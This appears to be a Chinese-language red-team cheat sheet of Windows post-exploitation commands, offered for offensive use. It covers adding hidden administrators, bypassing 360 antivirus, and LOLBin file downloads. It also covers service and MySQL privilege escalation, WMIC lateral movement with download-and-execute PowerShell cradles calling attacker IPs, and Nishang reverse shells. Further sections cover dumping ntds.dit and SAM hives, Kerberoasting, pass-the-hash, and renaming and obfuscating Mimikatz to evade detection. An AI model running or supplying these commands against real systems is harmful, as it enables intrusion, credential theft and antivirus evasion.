Windows信息收集&命令小tips
枚举:WinPEAS.batWinPEAS
提权建议利用脚本:
钓鱼
[[钓鱼攻击学习]]
用户信息
当前用户
1 | whoami |
net查询用户信息
1 | # 查看所有用户 |
用户管理
Windows 用户名称的构成:用户名称:RID:LM:NTLM
1 | net user test 123.com /add & net localgroup administrators test /add #添加一个名为test的用户,并且升级为管理员。 |
Bypass360添加用户
在360安全大脑的连接的情况下,执行部分操作会被直接拦截。比如这里添加用户,
不过这个绕过也很简单。
使用NetUser,成功绕过。
原理是不使用net命令添加用户,改为使用NetUserAdd
这个API添加普通权限的用户,NetLocalGroupAddMembers
这个API添加管理员权限。
网络信息
1 | ipconfig /all # 网络配置 |
防火墙规则
1 | netsh firewall show config |
本地开放的端口
1 | netstat -an #目前开放的端口和网络联机情况 |
查询RDP服务端口
1 | 运行 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp/ v PortNumber 查看 |
穩域控
1 | nslookup -type=SRV _ldap._tcp |
命令行开启3389
注册表方式
Windows XP/7
1 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f |
WMIC
Windows2003
1 | wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 |
Windows Server 2008
1 | wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 |
Windwos Server 2012 / Windows 7
1 | wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 |
服务信息
net
1 | net start #查看系统开启的所有服务 |
sc
用sc
也不是不可以
1 | sc qc TermService # 查看某服务的配置信息 |
WMI
1 | wmic service list brief # 查看服务列表 |
应用程序
自带命令
1 | DRIVERQUERY # 查看已安装驱动程序的列表 |
WMI
1 | wmic product list brief # 查看已安装程序列表 |
系统进程信息
tasklist
1 | tasklist /svc #获取运行的进程名,服务,PID |
WMI
1 | wmic process list brief #查看进程列表 |
msinfo32
1 | start /wait msinfo32.exe /report c:\windows\temp\list.txt /categoriesswenv+SWEnvRunningTasks #获得更加详细的信息 |
结束进程操作
taskill
1 | TASKKILL [/S system [/U username [/P [password]]]] { [/FI filter] [/PID processid | /IM imagename] } [/F] [/T] |
taskill通常配合tasklist使用,使用tasklist看完进程id后使用taskill杀死进程。
pskill
PsTools 的下载地址为:点我。
1 | pskill [-t] [\\computer [-u username [-p password]]] <process ID | name> |
系统信息
systeminfo
1 | systeminfo #获取详细的系统信息 |
WMIC
1 | wmic qfe get Caption,Description,HotFixID,InstalledOn #查看已安装的更新和安装日期 |
环境变量
1 | SET |
hostname-主机名
1 | hostname |
WMI(powershell)
1 | Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem |
检索文件
1 | dir /b /s password.txt |
无人值守安装日志文件(有包含Base64编码的密码
1 | C:\sysprep.inf |
文件操作
1 | for /d %i in (d:\www\*) do @echo %i #列出d:\www下的所有目录 |
磁盘信息
获取挂载磁盘的信息。
1 | wmic logicaldisk where DriveType=3 get DeviceID ## 简单看看盘符 DriveType=3是本地硬盘 |
mountvol
第三方驱动
搜索所有驱动
1 | driverquery /v |
加个findstr
能精确搜索指定的启动模式。
1 | driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Dis play Name’, ‘Start Mode’, Path | findstr System |
也可以用wmi方法来列出所有驱动
1 | Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer |
搜索指定的驱动名字。
1 | Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer|Where-Object {$_.DeviceName -like "*VMware*"} |
注册表关键字搜索
1 | reg query HKLM /f KEYWORD /t REG_SZ /s |
搜索特殊关键字注册表
1 | reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer |
文件权限查询
1 | cacls c:\ #查看权限 |
用icacls
也可以
定时任务
1 | schtasks |
下载文件操作
下载文件操作分为LOLBins(Living off the land Binaries)
下载方式和常规的文件下载方式。
常规下载
CMD
1 | # bitsadmin Windos7以上可用(360安全大脑会拦截) |
Powershell
1 | powershell -c "Invoke-WebRequest -Uri 'http://ip/shell.exe' -OutFile 'C:\Windows\Temp\shell.exe'" |
VBS
1 | dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") |
LoLBin 文件下载
LOLBins,lib,script定义:
- 它是操作系统本身文件,或者是从Microsoft下载的文件。总之它必须带有windows自身签名文件。
- 由于是windows自身签名文件,所以一般天然带有免杀的属性,能通过很多应用程序的白名单。
- 它具有APT功能或者一些对我们红队有用的功能。像去年2019年TA505利用LoLbin和新型后门攻击金融行业。
IMEWDBLD.exe(仅Windows10或以上可用)
文件路径为:
1 | C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE |
文件下载后路径为:
1 | C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE\[随机值] |
查找文件的存储路径
1 | forfiles /P "%localappdata%\Microsoft\Windows\INetCache" /S /M * /C "cmd /c echo @path" |
示例
Kali起个Web服务。
在Windows10下下载文件,会弹出个无法下载字典文件的报错提示,但是可以不用管它。
1 | C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE http://192.168.179.2/1.txt |
1 | forfiles /P "%localappdata%\Microsoft\Windows\INetCache" /S /M * /C "cmd /c echo @path" |
因为下载后的位置是随机生成的,所以需要使用for遍历一下准确的下载路径,然后查看内容。
Desktopimgdownldr.exe
用于设置锁定屏幕或桌面背景图像作为个性化CSP一部分.CSP在WIN10 1703之后引入。用户如果没有用过CSP,那么路径不存在。
1 | C:\\Windows\\Personalization |
默认图片下载和存放路径:
1 | C:\\windows\\Personalization\\LockScreenImage\\LockScreenImage_%random%.jpg |
默认用法
1 | desktopimgdownldr /lockscreenurl:https://domain.com:8080/file.exe / |
CertReq
certreq命令可用于从证书颁发机构(CA)请求证书,从CA检索对先前请求的响应,从.inf文件创建新请求,接受并安装对请求的响应,根据现有的CA证书或请求构造交叉认证或合格的从属请求,并签署交叉认证或合格的从属请求。 原本用于帮助windows进行证书认证。还能够作为上传,下载的重要工具。
上传:
1 | CertReq -Post -config https://example.org/ c:\\windows\\win.ini |
下载POST请求,并显示内容(支持HTTP与HTTPS):
1 | CertReq -Post -config https://example.org/ c:\\windows\\win.ini |
下载POST请求,并保存到本地(支持HTTP与HTTPS):
1 | CertReq -Post -config https://example.org/ c:\\windows\\win.ini output.txt |
小文件可以下载,大文件下载会报错。
生成shell-MSF
1 | meterpreter -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.6.10 LPORT=65500 -f exe -o shell.exe |
Powershell 相关
当前powershell是否为64位进程
1 | [Environment]::Is64BitProcess |
powershell 历史记录文件
就像Linux中的bash一样。powershell一样拥有一个类似.bash_history
的文件,路径为:
1 | %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history |
提权相关操作
Windows-Exploit-Suggester
受Linux-Exploit-Suggester启发的提权辅助工具,但是需要Python和xlrd支持。
RUNAS 提高权限运行命令
1 | /noprofile specifies that the user's profile should not be loaded. |
使用:
1 | runas /user:Administrator cmd |
待
无人值守安装提权
无人值守安装是原始设备制造商、企业和其他用户在无人值守模式下安装Windows NT的一种方法
它以base64存储用户密码。
1 | C:\Windows\Panther\Unattend\Unattended.xml |
服务程序利用
accesschk-last version
accesschk旧版本(适用于XP,2003
小工具,用于检查用户和用户组对文件,目录,注册表,全局对象和系统服务的权限情况。
1 | usage: accesschk |
例子:
1 | accesschk users -c *| find "RW" # 显示用户所有有读写权限的服务 |
不安全的服务权限
利用要求
- 拿到的用户拥有更改服务器配置的权限
可写服务
使用accesschk.exe来查询可写服务
/accepteula参数仅在旧版本(XP,2003)有用,其他系统可以直接无视这个参数。
1 | ------------------------------------------------- |
所以当前是有两个服务是可以被当前用户写入的
1 | C:\Inetpub\wwwroot>accesschk.exe /accepteula -ucqv SSDPSRV |
可以看到,如果这两个服务被启动的时候,是会以NT AUTHORITY
权限所运行的
1 | SERVICE_NAME: upnphost |
可以看到一个服务是可以启动,一个是被禁止状态,但是我们还是可以开启他。
1 | ## 设置服务的启动程序 为 恶意程序所在的路径(msfvenom生成的木马 |
sc start ssdpsrv
启动服务,就能以管理员上线了。
不带引号的不安全服务
1 | wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ |
查看服务目录是否可写
1 | powershell "get-acl -Path 'C:\Program Files (x86)\XXX' | format-list" |
不安全的文件/文件夹权限配置–待填坑
绕过应用程序控制策略(AppLocker)
AppLocker是Windows 7中引入的应用程序白名单技术。它允许根据程序路径、发布者和散列,限制用户可以执行哪些程序。
AppLocker默认规则的目录
1 | C:\Windows\System32\spool\drivers\color |
注册表提权
UAC绕过
msf模块
1 | exploit/windows/local/bypassuac |
msf 提高运行级别提权
1 | exploit/windows/local/ask |
手动利用
DLL劫持
系统漏洞提权
1 | ms14_058_track_popup_menu ms15_051 ms16_016 |
MS16_032
补丁编号
- KB3139914
影响系统版本
- Windows Vista
- Windows 7
- Windows 8.1
- Windows 10
- Windows 2008 Server
- Windows 2012 Server
系统要求
系统至少有2个以上CPU核心,否则利用脚本无法运行;PowerShell v2.0及以上版本。
并且要注意使用的powershell位数。
原版exp(39719)会Spawn一个System Shell出来,只能通过Remote Desktop获取。建议能使用带命令执行的exp。
msf利用
手动利用
先获取一个本地低权限用户的shell
我这里是反弹了一个64位的powershell回来。
接着执行exp提权,但是这里我用的是能携带参数命令执行的
使用的exp为:Powershell-Empire-Invoke-MS16032 在脚本最后添加
1 | Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://192.168.119.163/shell.ps1')" |
然后远程加载即可。
反弹shell,使用的exp为:Nishang-Invoke-PowerShellTcp
同样在脚本最后添加:
1 | Invoke-PowerShellTcp -Reverse -IPAddress 192.168.119.163 -Port 1443 |
土豆家族
多汁土豆
PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019
Windows Token九种权限的利用
Windows本地提权工具Juicy Potato测试分析
1 | whoami /priv |
利用细节:
- 如果默认CLSD不可用则找到目标系统能用的CLSD
多汁土豆
流氓土豆 RoguePotato.exe
No more JuicyPotato? Old story, welcome RoguePotato!
CVE-2020-0796
[[CVE-2020-0796漏洞复现]]
令牌窃取
1 | incognito |
mysql 提权
直接写webshell
secure_file_priv写
secure_file_priv 为空或网站根目录在可写目录下
1 | select '<?php eval($_POST[admin])?>' into outfile 'C://phpStudy//WWW//shell.php' |
日志写入一句话
利用要求:
- 管理员权限
- 知道网站的绝对路径
必要选项:
- general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
- general log file 指的是日志的保存路径。
这两个选项能通过在mysql
或者是在phpmyadmin
中打开。执行一条sql语句便会被记录到日志文件中。所以只要把日志保存的路径和日志文件名设置成网站路径下的php,就可以生成一个文件,并把一句话代入到其中。
1 | set global general_log='on'; |
UDF提权
Mysql < 5.1版本的 直接将udf.dll导出到任何位置,
Mysql > 5.1后 应该将udf.dll放在mysql的 lib/plugin目录下(默认不存在)
Windows下可以利用文件流创建目录
1 | select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION'; |
需要知道网站的绝对路径,并且数据库拥有写文件的权限。
MOF提权
VBS启动项提权
通过MySQL建立表单并向表单写入恶意代码,最后从表单里面提取恶意代码并导出到系统的启动项,当系统重新启动时恶意代码将被执行。
要求:
- mysql有写文件权限
- 系统要重启
- 导出的文件没被删除
1 | show databases ; |
每个系统的启动目录不一样。
Windows 2008 Server的启动目录为: C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs
mysql_start_up提权
msf下模块exploit/windows/mysql/mysql_start_up提权
1 | use exploit/windows/mysql/mysql_start_up |
pr 提权
要求:windows 2003
将pr.exe和cmd.exe和3389.reg上传到同一路径下
1 | pr.exe "net user 123 123 /add" 添加用户 |
导入注册表 开启3389端口
1 | regedit /s 3389.reg |
滥用模拟特权
Windows 第三方驱动提权
USBPcap
1 | driverquery /v |
Exploit-ID:41542
滥用LAPS组用户提权(AD)
http://bbs.learnfuture.com/topic/555
https://www.anquanke.com/post/id/169178
https://akijosberryblog.wordpress.com/2017/11/09/dump-laps-password-in-clear-text/
Windows 横向移动
WMIC
1 | wmic /NODE:192.168.93.20 /user:"TEST\administrator" /password:"zxcASDqwe123" PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.0.108:8080/a'))\"" |
wmiexec.vbs
工作组:
1 | cscript wmiexec.vbs /shell 192.168.x.x administrator Aatest |
域环境
1 | cscript wmiexec.vbs /shell 192.168.93.20 TEST\administrator zxcASDqwe123 |
WMIC事件订阅
待填坑
DCOM
为了发现支持DCOM的应用程序,我们可以使用Win32_DCOMApplication
WMI类进行列举:
1 | Get-CimInstance -class Win32_DCOMApplication | select appid,name |
根据这个列表,接下来可以实例化每个AppID,并使用 Get-Member
cmdlet列出可用的方法:
1 | $obj=[activator]::CreateInstance([type]::GetTypeFromCLSID("FFB8655F-81B9-4fce-B89C-9A6BA76D13E7")) |
能用的DOCM
ExecuteShellCommand
1 | $a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","10.0.0.2")) |
Excel.Application
ExecuteExcel4Macro
RegisterXLL
我们借助Excel实现横向移动的第二种方法是RegisterXLL方法,该方法最早由Ryan Hanson发表。这种方式相对简单,顾名思义,RegisterXLL方法允许我们执行XLL文件。该文件只是xlAutoOpen导出的DLL。但是,这种方法的优势有两个,其一是文件的扩展名并不影响,其二是该方法支持UNC路径,也就是说它不需要托管在我们要进行横向移动的系统上。 要编写这种技术的工具非常简单,只需要几行,就可以创建出Excel COM对象的实例,并调用带单个参数(即XLL文件路径)的RegisterXLL方法:
1 | string XLLPath = "\\\\\\\\fileserver\\\\excel.log"; |
Windows提权练习房间
hackpark alfred steelmountain横向移动参考文章
FAQ
- shell_reverse_tcp 和shell/reverse_tcp的区别
阶段和非阶段性。shell_reverse_tcp是一次性的把攻击载荷传输到目标机器上面,而shell/reverse_tcp则是阶段性的,首先会传输一个较小的主要攻击载荷,再利用这个shell传输剩下的攻击载荷。
Kerberos
Kerberos 是什么
Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。这个词又指麻省理工学院为这个协议开发的一套计算机软件。软件设计上采用客户端/服务器结构,并且能够进行相互认证,即客户端和服务器端均可对对方进行身份认证。可以用于防止窃听、防止重放攻击、保护数据完整性等场合,是一种应用对称密钥体制进行密钥管理的系统。Kerberos的扩展产品也使用公开密钥加密方法进行认证。
Kerberos是域的默认身份验证服务。通过第三方票证授权和更强的加密,Kerberos比NTLM更加安全。尽管NTLM有很多可供选择的攻击方式,但Kerberos仍然具有一些潜在的漏洞,就像NTLM一样,我们可以利用它来发挥自己的优势。
Kerberos 常用术语
- Ticket Granting Ticket (TGT) 票证授予票证,一种身份验证票证,用于向TGS请求服务票证以获取域中的特定资源。
- Ticket Granting Service (TGS) 票证授予服务-接受TGT请求并将票证返回到域中的计算机。
- Authentication Service (AS) 身份验证服务发出由域中的TGS使用的TGT,以请求访问其他计算机和服务票证。
- Key Distribution Center (KDC) 密钥分发中心是用于发行TGT和服务票证的服务,该服务由身份验证服务(AS)和票证授予服务(TGS)组成。
- Service Principal Name (SPN) 服务主体名称是为服务实例提供的标识符,以将服务实例与域服务帐户相关联。 Windows要求服务具有域服务帐户,这就是服务需要SPN集的原因。
- KDC Long Term Secret Key (KDC LT Key)KDC长期秘密密钥 -KDC密钥基于KRBTGT服务帐户。 它用于加密TGT并签署PAC。
- Client Long Term Secret Key (Client LT Key)客户端密钥基于计算机或服务帐户。它用于检查加密的时间戳并加密会话密钥。
- Service Long Term Secret Key (Service LT Key)服务密钥基于服务帐户。它用于加密服务票证的服务部分并对PAC签名。
Kerberous 身份验证机制 攻击
理解Kerberous
Kerberous 保护widnows域的看门狗。。
KDC The Kerberos Distribution Center Kerberos密钥分发中心
1 | setspn -T medin -Q */* |
1 | Invoke-Kerberoast -OutputFormat hashcat |fl |
Ntds.dit
在域环境中,活动目录是域中提供目录服务的组件,其可以帮助用户快速准确地从目录中找到其所需要的信息。在规模较大的网络中,要把网络中的众多对象,例如计算机、用户、用户组、打印机、共享文件等分门别类、井然有序的存放在一个大仓库中,并做好信息索引,一遍查找、管理和使用这些资源对象。拥有这个层次结构的数据库就是活动目录数据库。
Ntds.dit文件是域环境中域控上会有的一个二进制文件,是主要的活动目录数据库,其文件路径为域控的 %SystemRoot%\ntds\ntds.dit,活动目录始终会访问这个文件,所以文件禁止被读取。Ntds.dit包括但不限于有关域用户、组和组成员身份和凭据信息、GPP等信息。它包括域中所有用户的密码哈希值,为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
而在非域环境也就是在工作组环境中,用户的密码等信息存储在SAM文件,想要破解SAM文件与Ntds.dit文件都需要拥有一个System文件。和SAM文件一样,Ntds.dit是默认被Windows系统锁定的。
在一般情况下,Ntds.dit是默认被Windows系统锁定的,想要读取该文件就要利用卷影拷贝服务(Volume Shadow Copy Service,VSS),得到Ntds.dit文件的副本。卷影拷贝服务(VSS)本质上是属于快照技术的一种,主要用于备份和恢复,即使目标文件被处于锁定状态。
其获取Ntds.dit的基本步骤如下:
- 创建目标主机的卷影拷贝(包含Windows上的全部文件)
- 然后在创建的卷影拷贝中将ntds.dit复制出来
- 最后将当前创建的卷影拷贝删除
提取SAM文件&Ntds.dit文件
vssadmin
其适用于:
- Windows 10
- Windows 8.1
- Windows Server 2016
- Windows Server 2012 R2
- Windows Server 2012
- Windows Server 2008 R2
- Windows Server 2008
1.创建一个C盘的卷影拷贝
1 | vssadmin create shadow /for=C: |
2.然后在创建的卷影拷贝中将ntds.dit复制到C盘中:
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\ntds.dit |
3.最后将刚刚创建的卷影拷贝删除
1 | vssadmin delete shadows /for=c: /quiet |
vssown.vbs
下载脚本
1 | certutil -urlcache -split -f http://192.168.179.1:8000/vssown.vbs |
- 创建卷影拷贝
1 | cscript vssown.vbs /start |
- 列出卷影
1 | cscript vssown.vbs /list |
- 在创建的卷影拷贝中将ntds.dit复制到C盘中:
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit C:\ntds3.dit |
这里的ID和Device object需要用到。
- 删除
1 | cscript vssown.vbs /delete {B2245D4A-134F-4CF1-A864-E11BDC653A5C} |
拷贝好后,删除即可。
ntdsuitil
创建一个镜像
1 | ntdsutil snapshot "activate instance ntds" create quit quit |
将刚刚创建的镜像挂载
1 | ntdsutil snapshot "mount {ID}" quit quit |
将镜像里面的ntds.dit复制出来。
1 | copy C:\$SNAP_202010251510_VOLUMEC$\windows\ntds\ntds.dit c:\ntds_2.dit |
复制出来后,删除挂载的镜像。
1 | ntdsutil snapshot "mount {ID}" "delete {ID}" quit quit |
IFM提取
1 | ntdsutil "ac i ntds" "ifm" "create full c:/test" q q |
执行该命令后,会自动将ntds.dit文件复制到C:\test\Active Directory\ntds.dit
,同时会将SYSTEM和SECURITY复制到C:\test\registry
目录下:
1 | copy "C:\test\Active Directory\ntds.dit" C:\ntds.dit |
拿到ntds.dit后就可以删除test文件夹了
nishang/Copy-VSS.ps1
1 | IEX (New-Object Net.WebClient).DownloadString('http://xxx.com/nishang/Gather/Copy-VSS |
成功执行后,会将SAM、SYSTEM、Ntds.dit文件复制到当前目录。
万能复制. Invoke-NinjaCopy.ps1
下载脚本然后导入
1 | certutil -urlcache -split -f http://192.168.179.1:8000/Invoke-NinjaCopy.ps1 |
这种方法没有调用Volume Shadow Copy服务,所以不会产生日志文件7036(卷影拷贝服务进入运行状态的标志)。
注册表导出
1 | reg save HKLM\SYSTEM system.save |
CVE-2021-36934 HiveNightmare
Github:HiveNightmare
相关文章:HiveNightmare aka #SeriousSAM — anybody can read the registry in Windows 10
利用条件:
- 拥有一个还原点/卷影副本
- sam文件普通用户可访问
当满足利用条件时,执行HiveNightmare.exe,就会在当前文件夹下生成三个文件,分别是system.save、sam.save、security.save。
将其下载到本地,使用mimikatz
或者是secretdump.py
获取hash。
提取HASH
Esedbexport & ntdsxtract
1 | apt-get install autoconf automake autopoint libtool pkg-config // 安装依赖 |
1 | esedbexport -m tables ntds.dit |
使用ntdsxtract导出
1 | dsusers.py <datatable> <link_table> <output_dir> --syshive <systemhive> --passwordhashes <format options> |
从分离出来的表中提取域中计算机信息。
1 | python dscomputers.py datatable.3 computer_output --csvoutfile domain_computers_info.csv |
注意,使用Ntdsxtract导出Ntds.dit表中的域散列值,要提供三个文件:即Ntds.dit导出的ntds.dit.export文件夹中的datatable.3、link_table.5这两个表和之前获得的“SYSTEM”文件:
secretsdump.py
这个可以将用注册表导出来的三个文件,获取hash。
1 | python3 secretsdump.py -sam /tmp/sam.save -system /tmp/system.save -security /tmp/security.save LOCAL |
或者是
1 | python secretsdump.py -system /tmp/system.save -ntds /tmp/ntds.dit LOCAL |
mimikatz
下载地址:mimikatz
1 | privilege::debug |
Invoke-DCSync.ps1
下载地址:Invoke-DCSync.ps1
该脚本通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能,并利用dcsync直接读取ntds.dit得到域用户密码散列值。
1 | # 导入模块 |
Kerbrute
Kerbrute是一种流行的枚举工具,通过滥用Kerberos预身份验证来暴力破解和枚举有效的活动目录用户。
通过暴力破解Kerberos预身份验证,将触发帐户登录失败事件,该事件会向蓝队发出红色标志。 通过Kerberos进行暴力破解时,您可以通过仅向KDC发送单个UDP帧来进行暴力破解,从而允许您从单词列表中枚举域中的用户。下载链接
1 | ./kerbrute userenum --dc domain -d domain User.txt |
Impacket
安装
1 | wget https://github.com/SecureAuthCorp/impacket/releases/download/impacket_0_9_19/impacket-0.9.19.tar.gz && tar xzvf impacket-0.9.19.tar.gz && cd Impacket-0.9.19 |
代码在/usr/share/doc/python3-impacket/examples/
1 | cd /usr/share/doc/python3-impacket/examples/ |
SPN
SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。Kerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。
SPN分为:
注册在机器账号下的,此时服务权限为当一个服务的权限为
Local System
或Network Service
注册在AD目录域内用户下的
机器账号是有权限可以手动注册SPN,普通用户是没有权限注册SPN。但是如果在DC上为域账号赋予 “Read servicePrincipalName” 和 “Write serverPrincipalName” 的权限。那么该域用户也是可以注册服务账号
Kerberoasting 攻击
域内的任何一台主机用户或普通域用户,都可以通过查询SPN,向域内的所有服务请求TGS,然后进行暴力破解,但是对于破解出的明文,只有域用户的是可以利用的,机器账户的不能用于远程连接,所以我们的关注点主要就在域用户下注册的SPN。
查询SPN账号(powershell)
1 | Setspn -Q / |
请求SPN
1 | Add-Type -AssemblyName System.IdentityModel |
之后可以用mimikatz导出票据
1 | mimikatz # kerberos::list /export |
破解票据
https://github.com/nidem/kerberoast
1 | python3 tgsrepcrack.py pass.txt "kirbi-file" |
GetUserSPNs.py
1 | python3 GetUserSPNs.py domain/username:password -dc-ip MACHINE_IP -request |
转储kerberos的hash。之后可以使用hashcat 13100模式爆破。
GetNPUsers.py
无密码获得票据
1 | GetNPUsers.py domain/user -no-pass |
如果成功的话会输出Kerberos 5 AS-REP etype 23加密的hash。
获取UF_DONT_REQUIRE_PREAUTH设置的用户列表
1 | GetNPUsers.py domain/user:password 或 GetNPUsers.py domain/user |
需要密码,不指定密码脚本会询问。
获取所有用户的票据
1 | GetNPUsers.py domain/emily:password -request 或 GetNPUsers.py domain/emily。 |
无密码获得用户列表的TGT信息
1 | GetNPUsers.py domain/ -no-pass -usersfile users.txt |
secretsdump.py
默认通过DRSUAPI方式检索密码hash
1 | python3 secretsdump.py domain/username:password@ip |
psexec.py (pass the password攻击)
只要有密码散列,可以无密码getshell。
1 | python3 psexec.py -hashes LMHASH:NTHASH username@domain |
wmiexec.py
1 | python3 wmiexec.py -hashes LMHASH:NTHASH [domain/]username@[ip/target] |
evil-winrm
安装
1 | gem install evil-winrm |
获得shell
需要密码
1 | evil-winrm -i 10.10.13.37 -u svc-demo |
pass the password
也是需要密码散列,和psexec不同的是:只需要NTHASH
1 | evil-winrm -i ip -u administrator -H NTHASH |
pth-winexe
Rubeus
Rubeus:Git项目地址和教程
参考链接
后渗透
抓取密码
猕猴桃获取密码
Invoke-Mimikatz.ps1 Bypass360
制作
1 | sed -i -e 's/Invoke-Mimikatz/Invoke-FZZYYDS/g' Invoke-Mimikatz.ps1 \ |
使用ISESteroids
来混淆代码,在Powershell下安装。
1 | Install-Module -Name "ISESteroids" -Scope CurrentUser -Repository PSGallery -Force |
安装好后,打开Powershell_ISE,
1 | Start-Steroids |
本地方式加载
1 | powershell -ExecutionPolicy bypass 'Import-Module .\2.ps1;Invoke-FZZYYDS' |
远程方式加载
1 | powershell -c "IEX (New-Object System.Net.Webclient).DownloadString('https://IP/Bypass360-Invoke-Mimikatz.ps1');Invoke-FZZYYDS" |
参考: